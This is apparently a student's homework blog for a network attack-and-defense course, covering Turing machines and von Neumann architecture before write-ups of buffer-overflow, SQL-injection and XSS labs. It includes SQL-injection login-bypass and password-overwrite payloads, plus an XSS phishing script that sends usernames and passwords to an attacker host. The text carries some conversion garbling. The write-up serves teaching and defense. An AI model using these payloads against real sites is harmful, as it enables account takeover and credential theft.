20189313《網絡攻防》第十週做業

1、對馮·諾依曼體系結構和圖靈機的理解

圖靈機體系結構

圖靈機構成圖javascript

圖靈機,又稱圖靈計算、圖靈計算機,是由數學家阿蘭·麥席森·圖靈(1912~1954)提出的一種抽象計算模型,即將人們使用紙筆進行數學運算的過程進行抽象,由一個虛擬的機器替代人們進行數學運算。php

所謂的圖靈機就是指一個抽象的機器,它有一條無限長的紙帶,紙帶分紅了一個一個的小方格,每一個方格有不一樣的顏色。有一個機器頭在紙帶上移來移去。機器頭有一組內部狀態,還有一些固定的程序。在每一個時刻,機器頭都要從當前紙帶上讀入一個方格信息,而後結合本身的內部狀態查找程序表,根據程序輸出信息到紙帶方格上,並轉換本身的內部狀態,而後進行移動。html

做爲研究計算的通常性質的抽象工具,替代人們進行數學運算,並有如下做用:java

一、做爲語言接受器:被M接受的語育記做L(M),它是Σ中的這樣一些字符串的集合,當把這些字符串放在M的帶子上,M處於q0狀態且M的帶頭處在最左單元時.這些字符串可使M進入一個終結狀態而停機。給定一個識別語言L的圖靈機M,通常假定,當輸入被接受時,M爲停機,即沒有下一動做。然而對於不被接受的字符串,M可能永不停機.被圖靈機接受的語官稱爲遞歸可枚舉語言。遞歸集合是遞歸可枚舉集合的子類,遞歸集合總能被對全部輸入都能停機的圖靈機所接受。mysql

二、做爲整數函數計算機:被圖靈機計算的函數稱爲部分遞歸函數。在某種意義上,部分遞歸函數相似於遞歸可枚舉語言.由於計算它的圖靈機在給定的輸入上可能不停機。徹底遞歸函數對應於遞歸語育.由於它能被總能停機的圖靈機計算。linux

三、做爲語言產生器:設M是一個多帶圖靈機,它用一條帶做爲輸出帶,在這條帶上,符號一經寫出上就不能再改寫.輸出帶的帶頭也不能左移。假定在輸出帶上,M寫出某個字毋表Σ的一些字符串,並用分隔符分開,則最終打印在輸出帶上的字符串的集合就稱爲由M生成的語言,記爲G(M),G(M)Σ。若是L是某個圖靈機生成的語言,則L是遞歸可枚舉集合,反之亦然。web

圖靈的基本思想是用機器來模擬人們用紙筆進行數學運算的過程,他把這樣的過程看做下列兩種簡單的動做:算法

在紙上寫上或擦除某個符號;sql

把注意力從紙的一個位置移動到另外一個位置;shell

而在每一個階段,人要決定下一步的動做,依賴於此人當前所關注的紙上某個位置的符號和此人當前思惟的狀態。

爲了模擬人的這種運算過程,圖靈構造出一臺假想的機器,該機器由如下幾個部分組成:

1.一條無限長的紙帶 TAPE。紙帶被劃分爲一個接一個的小格子,每一個格子上包含一個來自有限字母表的符號,字母表中有一個特殊的符號 表示空白。紙帶上的格子從左到右依此被編號爲 0,1,2,。.. ,紙帶的右端能夠無限伸展。

2.一個讀寫頭 HEAD。該讀寫頭能夠在紙帶上左右移動,它能讀出當前所指的格子上的符號,並能改變當前格子上的符號。

3.一套控制規則 TABLE。它根據當前機器所處的狀態以及當前讀寫頭所指的格子上的符號來肯定讀寫頭下一步的動做,並改變狀態寄存器的值,令機器進入一個新的狀態。

4.一個狀態寄存器。它用來保存圖靈機當前所處的狀態。圖靈機的全部可能狀態的數目是有限的,而且有一個特殊的狀態,稱爲停機狀態。參見停機問題。

注意這個機器的每一部分都是有限的,但它有一個潛在的無限長的紙帶,所以這種機器只是一個理想的設備。圖靈認爲這樣的一臺機器就能模擬人類所能進行的任何計算過程。

馮·諾依曼體系結構

描述了指令和數據被存儲在存儲器中所存儲的程序的計算機和機的工做原理,經過改變其內部狀態,即,一個指令在某些數據進行操做,並修改數據。所以,系統中存在狀態。馮·諾依曼體系結構是用於構建實際計算機的架構(其實現圖靈機在理論上描述的內容)。
雖然計算機技術發展很快,但存儲程序原理至今仍然是計算機內在的基本工做原理。自計算機誕生的那一天起,這一原理就決定了人們使用計算機的主要方式——編寫程序和運行程序。科學家們一直致力於提升程序設計的自動化水平,改進用戶的操做界面,提供各類開發工具、環境與平臺,其目的都是爲了讓人們更加方便地使用計算機,能夠少編程甚至不編程來使用計算機,由於計算機編程畢竟是一項複雜的腦力勞動。但無論用戶的開發與使用界面如何演變,存儲程序控制原理沒有變,它仍然是咱們理解計算機系統功能與特徵的基礎。

說到計算機的發展,就不能不提到美籍匈牙利科學家馮·諾依曼。從20世紀初,物理學和電子學科學家們就在爭論製造能夠進行數值計算的機器應該採用什麼樣的結構。人們被十進制這我的類習慣的計數方法所困擾。因此,那時以研製模擬計算機的呼聲更爲響亮和有力。

20世紀30年代中期,馮·諾依曼大膽的提出,拋棄十進制,採用二進制做爲數字計算機的數制基礎。同時,他還說預先編制計算程序,而後由計算機來按照人們事前制定的計算順序來執行數值計算工做。馮·諾依曼和同事們設計出了一個完整的現代計算機雛形,並肯定了存儲程序計算機的五大組成部分和基本工做方法。馮·諾依曼的這一設計思想被譽爲計算機發展史上的里程碑,標誌着計算機時代的真正開始。馮·諾依曼成功將其理論運用在計算機的設計之中,根據這一原理製造的計算機被稱爲馮·諾依曼結構計算機,世界上第一臺馮·諾依曼式計算機是1949年研製的EDVAC,因爲他對現代計算機技術的突出貢獻,所以馮·諾依曼又被稱爲「計算機之父」,存儲程序控制原理又稱馮·諾依曼原理。

約翰·馮·諾伊曼等人在edvac報告書的第一份草案該文件描述了具備如下組件的電子數字計算機的設計架構:

- 處理單元包含一個算術邏輯單元和處理器寄存器
- 控制單元包含一個指令寄存器和程序計數器
- 存儲數據和指令的內存
- 外部大容量存儲
- 輸入和輸出機制

馮·諾伊曼結構在體系結構上主要特色有:

- 以運算單元爲中心
- 採用存儲程序原理
- 存儲器是按地址訪問、線性編址的空間
- 控制流由指令流產生
- 指令由操做碼和地址碼組成
- 數據以二進制編碼

馮.諾依曼體系結構是現代計算機的基礎,如今大多計算機還是馮.諾依曼計算機的組織結構,只是做了一些改進而已,並無從根本上突破馮體系結構的束縛。馮.諾依曼也所以被人們稱爲「計算機之父」。

圖靈機和馮·諾依曼體系的異同

圖靈機存在兩點缺陷。第一,沒能將指令存儲起來重複使用。第二,沒能造成實現程序結構設計。因爲這兩點缺欠,使圖靈機還不能成爲可以處理各類任務的計算機。圖靈機欠缺的這兩點恰被馮諾依曼提出的程序數據存儲的思想解決了。

程序=指令+數據的理解

  • 程序:計算機程序是一組計算機能識別和執行的指令,運行於電子計算機上,知足人們某種需求的信息化工具。
    它以某些程序設計語言編寫,運行於某種目標結構體系上。打個比方,程序就如同以英語(程序設計語言)寫做的文章,要讓一個懂得英語的人(編譯器)同時也會閱讀這篇文章的人(結構體系)來閱讀、理解、標記這篇文章。通常的,以英語文本爲基礎的計算機程序要通過編譯、連接而成爲人難以解讀,但可輕易被計算機所解讀的數字格式,而後放入運行。程序是一個指令序列。

  • 指令:計算機從事某一特殊運算的代碼。如:數據傳送指令、算術運算指令、位運算指令、程序流程控制指令、串操做指令、處理器控制指令。
    計算機程序發給計算機處理器的命令就是「指令(instruction)」。最低級的指令是一串0和1,表示一項實體做業操做要運行(如「Add」)。根據指令類型,某個具體的存儲領域被稱做「寄存器(register)」,裏面包含了可用於調出指令的數據或數據存儲位置。計算機的彙編語言(assembler)中,每種語言通常只響應單一的處理器指令。而高級語言的每種語言通過程序編輯後能響應多個處理器指令。在彙編語言中,宏指令(macro instruction)在彙編程序處理過程當中會擴展爲多個指令(以編碼過的源宏定義爲基礎)。

    指令是指示計算機執行某種操做的命令。它由一串二進制數碼組成。
    一條指令一般由兩個部分組成:操做碼+地址碼。
    操做碼:指明該指令要完成的操做的類型或性質,如取數、作加法或輸出數據等。
    地址碼:指明操做對象的內容或所在的存儲單元地址。

  • 數據:數據結構是計算機存儲、組織數據的方式。數據結構是指相互之間存在一種或多種特定關係的數據元素的集合。一般狀況下,精心選擇的數據結構能夠帶來更高的運行或者存儲效率。數據結構每每同高效的檢索算法和索引技術有關。
    通常認爲,一個數據結構是由數據元素依據某種邏輯聯繫組織起來的。對數據元素間邏輯關係的描述稱爲數據的邏輯結構;數據必須在計算機內存儲,數據的存儲結構是數據結構的實現形式,是其在計算機內的表示;此外討論一個數據結構必須同時討論在該類數據上執行的運算纔有意義。一個邏輯數據結構能夠有多種存儲結構,且各類存儲結構影響數據處理的效率。
    在許多類型的程序的設計中,數據結構的選擇是一個基本的設計考慮因素。許多大型系統的構造經驗代表,系統實現的困難程度和系統構造的質量都嚴重的依賴因而否選擇了最優的數據結構。許多時候,肯定了數據結構後,算法就容易獲得了。有些時候事情也會反過來,咱們根據特定算法來選擇數據結構與之適應。不論哪一種狀況,選擇合適的數據結構都是很是重要的。
    選擇了數據結構,算法也隨之肯定,是數據而不是算法是系統構造的關鍵因素。這種洞見致使了許多種軟件設計方法和程序設計語言的出現,面向對象的程序設計語言就是其中之一。

安全問題

實驗1、緩衝區溢出漏洞

主要經過實驗樓緩衝區溢出漏洞試驗課程,學習如何利用緩衝區溢出漏洞進行攻擊。

1、實驗簡介

緩衝區溢出是指程序試圖向緩衝區寫入超出預分配固定長度數據的狀況。這一漏洞能夠被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片斷。這一漏洞的出現是因爲數據緩衝器和返回地址的暫時關閉,溢出會引發返回地址被重寫。

2、實驗步驟

實驗環境爲實驗樓提供的虛擬操做系統。

因爲是實驗需在32位環境下操做,故首先使用如下命令安裝相關環境:

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

安裝完畢後,輸入linux32與/bin/bash,進入32位linux環境,因爲猜想內存地址是緩衝區溢出攻擊的關鍵,因此首先使用如下命令:

sudo sysctl -w kernel.randomize_va_space=0

關閉系統內存地址空間隨機化功能,以方便猜想內存地址。
因爲許多shell程序在被調用時會自動放棄他們的特權,於是須要使用另外一個shell(zsh)來代替/bin/bash:

這裏使用一個精心設計的shellcode使得緩衝溢出後,跳轉到指定位置:

實際使用的是其彙編版本:

編寫一個stack.c文件,內容以下:

編譯該程序,其中,用 –fno-stack-protector 關閉棧保護機制,用-z execstack 用於容許執行棧,並更改權限:

編寫攻擊代碼exploit.c,內容以下:

其中「\x??\x??\x??\x??」處須要添上shellcode保存在內存中的地址,下面查看該地址:

在0x080484f8處設定斷點,並運行:

shellcode地址爲 0xffffd020 + 100 = 0xffffd084

而後編譯:

先運行攻擊程序exploit,再運行漏洞程序stack:

可看到,攻擊成功,得到root權限。

實驗二 、SQL注入

主要經過實驗樓Collabtive系統SQL注入實驗課程,學習如何進行SQL注入。

1、實驗簡介

SQL注入技術是利用web應用程序和數據庫服務器之間的接口,把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。
SQL注入會帶來:
1.非法讀取、篡改、添加、刪除數據庫中的數據。
2.盜取用戶的各種敏感信息,獲取利益。
3.經過修改數據庫來修改網頁上的內容。
4.私自添加或刪除帳號。
5.注入木馬等等。

2、實驗步驟

實驗所用的web應用程序稱爲Collabtive,禁用Collabtive的若干防禦措施,建立了一個容易受到SQL注入攻擊的Collabtive版本。
首先可按照實驗文檔進行環境配置:

1.select語句的SQL注入

打開登陸驗證文件:

sudo vim /var/www/SQL/Collabtive/include/class.user.php

在375行處,更改成:

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");

而後重啓服務器後,打開登陸界面,輸入 admin')# ,便可繞過密碼登陸:

2.update語句的SQL注入

在登陸驗證文件當中,以下位置:

function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
              $zip, $gender, $url, $address1, $address2, $state,
              $country, $tags, $locale, $avatar = "", $rate = 0.0)
    {
    $name = mysql_real_escape_string($name);
    $realname = mysql_real_escape_string($realname);

    //modified for SQL Lab
    //$company = mysql_real_escape_string($company);
    $email = mysql_real_escape_string($email);

    // further escaped parameters removed for brevity...

    $rate = (float) $rate;
    $id = (int) $id;

    if ($avatar != "")
        {
            $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                tel1='$tel1', tel2='$tel2', company='$company',
                                zip='$zip', gender='$gender', url='$url',
                                adress='$address1', adress2='$address2',
                                state='$state', country='$country',
                                tags='$tags', locale='$locale',
                                avatar='$avatar', rate='$rate' WHERE ID = $id");
        }
    else
        {
            // same query as above minus setting avatar; removed for
            // brevity
        }
    if ($upd)
        {
            $this->mylog->add($name, 'user', 2, 0);
            return true;
        }
    else
        {
            return false;
        }
    }

咱們會發現​sql語句爲:SELECT ID WHERE name=​'$user',而且company的位置是存在注入漏洞。
因此,咱們以用戶名bob,密碼bob登陸系統,在用戶編輯界面修改信息並保存:
company處填寫:

', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
其中,這一串數字是pass的md5值

這樣,就擁有了一個名爲ted,密碼爲pass的新帳號,能夠經過登陸進行測試:

能夠看到,ted用戶登陸成功。

面對這些潛在的SQL注入漏洞,可經過默認開啓 magic_quotes_gpc 來防護轉義特殊字符的使用、避免使用特殊字符、使數據與sql語句分離等方法進行防護。

實驗3、XSS攻擊

XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最多見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的. 好比獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
攻擊原理

  假如頁面有以下一個輸入框
  <input type="text" name="record" value="沙發">
  是來自用戶的輸入,若是用戶輸入的是"onfocus="alert(document.cookie)
  那麼就會變成 
  <input type="text" name="address1" value="" onfocus="alert(document.cookie)">
   事件被觸發的時候嵌入的JavaScript代碼將會被執行
   攻擊的威力,取決於用戶輸入了什麼樣的腳本。

XSS分類

1.反射型XSS

反射型XSS,又稱非持久型XSS。之因此稱爲反射型XSS,則是由於這種攻擊方式的注入代碼是從目標服務器經過錯誤信息、搜索結果等等方式「反射」回來的。而稱爲非持久型XSS,則是由於這種攻擊方式具備一次性。攻擊者經過電子郵件等方式將包含注入腳本的惡意連接發送給受害者,當受害者點擊該連接時,注入腳本被傳輸到目標服務器上,而後服務器將注入腳本「反射」到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。

好比攻擊者將以下連接發送給受害者:

http://www.targetserver.com/search.asp?input=

當受害者點擊這個連接的時候,注入的腳本被看成搜索的關鍵詞發送到目標服務器的search.asp頁面中,則在搜索結果的返回頁面中,這段腳本將被看成搜索的關鍵詞而嵌入。這樣,當用戶獲得搜索結果頁面後,這段腳本也獲得了執行。這就是反射型XSS攻擊的原理,能夠看到,攻擊者巧妙地經過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執行腳本的目的。因爲代碼注入的是一個動態產生的頁面而不是永久的頁面,所以這種攻擊方式只在點擊連接的時候才產生做用,這也是它被稱爲非持久型XSS的緣由。

2.存儲型XSS

存儲型XSS,又稱持久型XSS,他和反射型XSS最大的不一樣就是,攻擊腳本將被永久地存放在目標服務器的數據庫和文件中。這種攻擊多見於論壇,攻擊者在發帖的過程當中,將惡意腳本連同正常信息一塊兒注入到帖子的內容之中。隨着帖子被論壇服務器存儲下來,惡意腳本也永久地被存放在論壇服務器的後端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中獲得執行,從而受到了攻擊。

Xss危害

1.盜取cookie

經過XSS攻擊,因爲注入代碼是在受害者的瀏覽器上執行,所以可以很方便地竊取到受害者的Cookie信息。好比,咱們只要注入相似以下的代碼:

當受害者的瀏覽器執行這段腳本的時候,就會自動訪問攻擊者創建的網站www.attackpage.com,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來。這樣,攻擊者就獲得了用戶的Cookie信息。
獲得受害者的Cookie信息後,攻擊者能夠很方便地冒充受害者,從而擁有其在目標服務器上的全部權限,至關於受害者的身份認證被竊取了。

2.釣魚攻擊

所謂釣魚攻擊就是構建一個釣魚頁面,誘騙受害者在其中輸入一些敏感信息,而後將其發送給攻擊者。利用XSS的注入腳本,咱們也能夠很方便地注入釣魚頁面的代碼,從而引導釣魚攻擊。好比下面這樣一段代碼:

  <script>

  function hack(){      location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value);
  }

  </script>
  <form>
  <br> <H3>此功能須要登陸:</H3 > 
  <br><br>請輸入用戶名:<br> 
  <input type=」text」 id=」user」name=」user」>
  <br>請輸入密碼:<br>
  <input type=」password」 name =「pass」>
  <br><input type=」submit」name=」login」 value=」登陸」onclick=」hack()」>
  </form>

注入上面的代碼後,則會在原來的頁面上,插入一段表單,要求用戶輸入本身的用戶名和密碼,而當用戶點擊「登陸」按鈕後,則會執行hack()函數,將用戶的輸入發送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用   戶的帳號信息。和通常的釣魚攻擊不一樣,XSS引導的釣魚攻擊因爲是對用戶信任的網站頁面進行修改的。

3.CSRF攻擊

好比咱們注入以下的HTML代碼:
<imgsrc = 「http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代碼中所訪問的是某個銀行網站的轉帳服務,則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的帳戶(示例的123456)執行轉帳操做。因爲這個轉帳請求是在受害者的瀏覽器中運行的,所以瀏覽器也會自動將受害者的Cookie信息一併發送。這樣,發送的請求就好像是受害者本身發送的同樣,銀行網站也將承認這個請求的合法性,攻擊者也就達到了僞造請求的目的。

4.傳播惡意軟件

除了直接注入惡意腳本之外,經過XSS攻擊,攻擊者也能夠很方便地在腳本中引入一些惡意軟件,好比病毒、木馬、蠕蟲等等。例如,攻擊者能夠在某個本身創建的頁面上放置一些惡意軟件,而後用XSS注入的方式,插入一段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候,就會自動訪問放置了惡意軟件的頁面,從而受到這些惡意軟件的感染。

XSS的預防

1.輸入過濾

對用戶的全部輸入數據進行檢測,好比過濾其中的「<」、「>」、「/」等可能致使腳本注入的特殊字符,或者過濾「script」、「javascript」等腳本關鍵字,或者對輸入數據的長度進行限制等等。同時,咱們也要考慮用戶可能繞ASCII碼,使用十六進制編碼來輸入腳本。所以,對用戶輸入的十六進制編碼,咱們也要進行相應的過濾。只要可以嚴格檢測每一處交互點,保證對全部用戶可能的輸入都進行檢測和XSS過濾,就可以有效地阻止XSS攻擊。

2.輸出編碼

經過前面對XSS攻擊的分析,咱們能夠看到,之因此會產生XSS攻擊,就是由於Web應用程序將用戶的輸入直接嵌入到某個頁面當中,做爲該頁面的HTML代碼的一部分。所以,當Web應用程序將用戶的輸入數據輸出到目標頁面中時,只要用HtmlEncoder等工具先對這些數據進行編碼,而後再輸出到目標頁面中。這樣,若是用戶輸入一些HTML的腳本,也會被當成普通的文字,而不會成爲目標頁面HTML代碼的一部分獲得執行。
  
3.Cookie防盜

利用XSS攻擊,攻擊者能夠很方便地竊取到合法用戶的Cookie信息。所以,對於Cookie,咱們能夠採起如下的措施。首先,咱們要儘量地避免在Cookie中泄露隱私,如用戶名、密碼等;其次,咱們能夠將Cookie信息利用MD5等Hash算法進行屢次散列後存放;再次,爲了防止重放攻擊,咱們也能夠將Cookie和IP進行綁定,這樣也能夠阻止攻擊者冒充正經常使用戶的身份。 做爲一名普通的網絡用戶,在XSS攻擊的預防上咱們能夠採起如下措施。首先,咱們不要輕易相信電子郵件或者網頁中的不明連接,這些連接頗有可能引導反射型XSS攻擊或者使咱們訪問到一些不安全的網頁。其次,咱們在沒必要要的時候能夠禁用腳本功能,這樣XSS注入的腳本就沒法獲得運行。

三種攻擊的共同點

三種攻擊都是利用存儲程序的特色,將非法程序插入到要執行的程序中,使程序跳轉到攻擊者想要執行的位置執行從而完成攻擊。抽象的解決方案,我的認爲能夠將用戶的輸入視爲數據,而指令部分不能被修改,這樣根據用戶的輸入數據不一樣,跳轉到不一樣的程序進行執行,而且應當設置一個合法範圍,超出部分不能執行。

參考資料

從圖靈機模型到馮!諾依曼結構
深刻理解圖靈機
馮諾依曼體系結構
圖靈與馮·諾伊曼的區別

相關文章
相關標籤/搜索